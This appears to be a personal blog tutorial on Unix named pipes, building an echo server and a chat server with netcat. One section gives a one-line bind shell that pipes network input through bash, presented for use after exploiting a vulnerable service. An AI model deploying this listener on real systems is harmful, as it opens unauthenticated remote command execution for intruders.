Fun with Pipes
Quite a while back I came across some interesting applications of named pipes that I thought I should share with everybody.
First, some background.
Pipes
Commonly, pipes are used in the shell to redirect the stdout
of one process to the stdin
of another, you simply
$ cat myfile | grep sometext
Named pipes
Since |
pipes are anonymous, they cannot be referenced externally. Named pipes on the other hand have an accesible path in the filesystem.
$ mkfifo /tmp/mypipe
These pipes allow us to setup flows across different shell commands. Data can be pumped in by one command and fed to another command. Like,
$ cat /tmp/mypipe
This command blocks till the named pipe spews and EOF
marker.
And in another shell,
$ cat > /tmp/mypipe
Now, whatever you type in the this shell should be visible in the other shell. Press Ctrl-D to exit.
Named pipes are primarily used as IPC mechanisms along with UNIX sockets.
Now let’s get down to some interesting stuff. These pipes are of interest to me because they allow us to set up a very special kind of circular reference. That is, they allow a command’s own output to be part of it’s input!.
Echo Server
Let’s start of with something simple, an echo server. The principle is to simply echo the input of the user. As have probably noticed, this falls directly into the category of problems the circular reference property of named pipes solves – the input is the output.
The netcat utility helps us setup a simple listening socket that can be communicated with using stdin
and stdout
.
$ cat /tmp/mypipe | nc -l 59000 > /tmp/mypipe
Simply cat
ing the contents of a pipe to the input of the nc
command with the -l
option that sets up a port to listen on and write any incoming data to the same pipe so that it’s echoed back. Then,
$ nc <network-address> 59000
There you have it, an echo server in one line of bash
Remote Shell
Suppose, you have discovered a vulnerability in some service that allows you to execute a single command on the shell. Now you want to drop a shell on that box. For something serious, you’re probably better of using Meterpreter but this is for cases where you just need a simple, quick and dirty hack!
Like the earlier snippet we set up a circular input path. The only difference being we pipe the user input through the bash interpreter that executes stdin
and pipe it’s stdout
back to the network socket.
$ cat /tmp/mypipe | bash | nc -l 59000 > /tmp/mypipe
Just connect to that port and you should have a working remote shell.
Chat Server
A chat server is another application that falls into the same problem domain. It recieves some input and simply relays that input to all connected users. It can be thought of as an echo server with multiple concurrent nodes.
Sadly though, the netcat utility only allows only a single active connection. Luckily, there’s this rewrite of the netcat tool that allows us to accept multiple incoming connections simultaneously.
$ cat /tmp/mypipe | ncat -l -k 59000 > /tmp/mypipe
Now multiple hosts can connect to that port and exchange messages with each other.